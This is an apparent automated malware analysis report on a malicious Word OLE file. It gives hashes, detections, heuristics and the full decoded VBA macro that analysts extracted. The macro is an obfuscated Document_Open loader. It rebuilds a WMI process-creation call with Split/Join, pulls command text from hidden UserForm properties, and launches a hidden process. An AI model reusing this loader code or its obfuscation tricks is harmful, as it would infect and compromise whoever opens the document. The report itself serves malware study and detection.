Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 20d81ffc64ba89a1…

MALICIOUS

Office (OLE)

169.6 KB Created: 2020-07-27 21:21:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 75d4000a2b59768f3d3f1d8f4a264115 SHA-1: ad9b8f54837a1a5427135a3dae9f82bbdd1848e2 SHA-256: 20d81ffc64ba89a114dc4ee30c643d555945ab0ec0f3a17c96b56d6087ef3b13
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, including a Document_Open macro and a hidden-property command stager, which are indicative of malicious intent. The script attempts to construct a URL using string concatenation and then execute it, likely to download and run a secondary payload. The ClamAV detection further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Logan-9225439-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Logan-9225439-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3897 bytes
SHA-256: 01e9c02f3b01c160d0e365ad73f906f686f6b1bffa04db7d62d768051ad4e03c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "teeblil"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
raetlac.haercovleardaey
End Sub


Attribute VB_Name = "raetlac"
Attribute VB_Base = "0{6F7F25D2-C6E1-4A8E-AA7B-F7282859BED7}{CCA95864-A0FC-48C9-A657-FDC5521ED5C3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function haercovleardaey()
tiawxov = Chr(raetlac.Zoom + (120 / 8))
Dim IPuElKrfP As Long
IPuElKrfP = InStr("ySchaNX4ÏskAGW", "X4ÏskAGW")
vothtauwduag = "7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fsw7773tGJ3^55GHDG%*&k7^*33333fsi7773tGJ3^55GHDG%*&k7^*33333fsnm7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fsgm7773tGJ3^55GHDG%*&k7^*33333fst7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fs" + tiawxov + "7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fs:7773tGJ3^55GHDG%*&k7^*33333fsw7773tGJ3^55GHDG%*&k7^*33333fsin7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fs37773tGJ3^55GHDG%*&k7^*33333fs27773tGJ3^55GHDG%*&k7^*33333fs_7773tGJ3^55GHDG%*&k7^*33333fs" + raetlac.lietcheor + "7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fsr7773tGJ3^55GHDG%*&k7^*33333fsoc7773tGJ3^55GHDG%*&k7^*33333fses7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fss7773tGJ3^55GHDG%*&k7^*33333fs"
Dim F0mYkFY As Long
F0mYkFY = InStr("aIiQAL", "QAL")
thouhchujneub = doelsiezkac(vothtauwduag)
Dim yJ0Í7 As Long
yJ0Í7 = InStr("UKLCRYjw6ÖDbKv5É", "jw6ÖDbKv5É")
Set chusthiey = CreateObject(thouhchujneub)
Dim qZ0Ýu1àM As Long
qZ0Ýu1àM = InStr("AwlkNbSXjDwlOm3Êt", "XjDwlOm3Êt")
vityaothbor = raetlac.yugmaequlionjeud.ControlTipText
Dim w3åQyi1ÍHG As Long
w3åQyi1ÍHG = InStr("g0ÛK6ÐNJVHTZUWN", "VHTZUWN")
thoovchaeg = thouhchujneub + tiawxov + raetlac.ceutnait.ControlTipText + vityaothbor
TM0iX = 8
Do While TM0iX < 8 + 5
TM0iX = TM0iX + 9: DoEvents
Loop
yusnip = thoovchaeg + raetlac.lietcheor
Zqw3ÕvB = 6
Do While Zqw3ÕvB < 6 + 9
Zqw3ÕvB = Zqw3ÕvB + 5: DoEvents
Loop
Set wobthovyied = teocseisyiajquuax(yusnip)
HrE4ÜrA5á = 8
Do While HrE4ÜrA5á < 8 + 6
HrE4ÜrA5á = HrE4ÜrA5á + 4: DoEvents
Loop
v = Array("PoS", chusthiey. _
Create(riqukoiz, chebsoencusqueoy, wobthovyied), "SOP")
Dim fft As Long
fft = InStr("XR1Ìqpffk", "qpffk")
End Function
Function teocseisyiajquuax(tavfoiv)
Set teocseisyiajquuax = CreateObject(tavfoiv)
Dim KlHCGw As Integer
KlHCGw = 2
Do While KlHCGw < 2 + 4
KlHCGw = KlHCGw + 9: DoEvents
Loop
teocseisyiajquuax.showwindow = (yoizxoithyeaw + coezbaob) + (maithheuqu + mebquothxaz)
Dim EQ6ÍjrK As Integer
EQ6ÍjrK = 6
Do While EQ6ÍjrK < 6 + 6
EQ6ÍjrK = EQ6ÍjrK + 8: DoEvents
Loop
End Function
Function doelsiezkac(vaoklor)
hodfaowpeedxeom = vaoklor
Dim aCX3Ì1ÀlwSM As Integer
aCX3Ì1ÀlwSM = 7
Do While aCX3Ì1ÀlwSM < 7 + 3
aCX3Ì1ÀlwSM = aCX3Ì1ÀlwSM + 9: DoEvents
Loop
quaorxoumhim = Split _
(hodfaowpeedxeom, "7773tGJ3^55GHDG%*&k7^*33333fs")
Dim nV8FB As Integer
nV8FB = 4
Do While nV8FB < 4 + 2
nV8FB = nV8FB + 2: DoEvents
Loop
gouthgaic = c + Join(quaorxoumhim, E)
Dim gAuvLy As Integer
gAuvLy = 9
Do While gAuvLy < 9 + 2
gAuvLy = gAuvLy + 4: DoEvents
Loop
doelsiezkac = gouthgaic
Dim qFZ As Long
qFZ = InStr("wfEl2ÔI3ÖhXYPe6ÛRt", "hXYPe6ÛRt")
End Function
Function riqukoiz()
q = raetlac.duudchuac.Pages(333 / 333).ControlTipText
Dim VpAD As Long
VpAD = InStr("yGDcMofuCS4Çt", "ofuCS4Çt")
riqukoiz = doelsiezkac(q)
Dim JJOQW7Ö As Long
JJOQW7Ö = InStr("PeX7ÌtQajQoX8ÃaWZR", "ajQoX8ÃaWZR")
End Function

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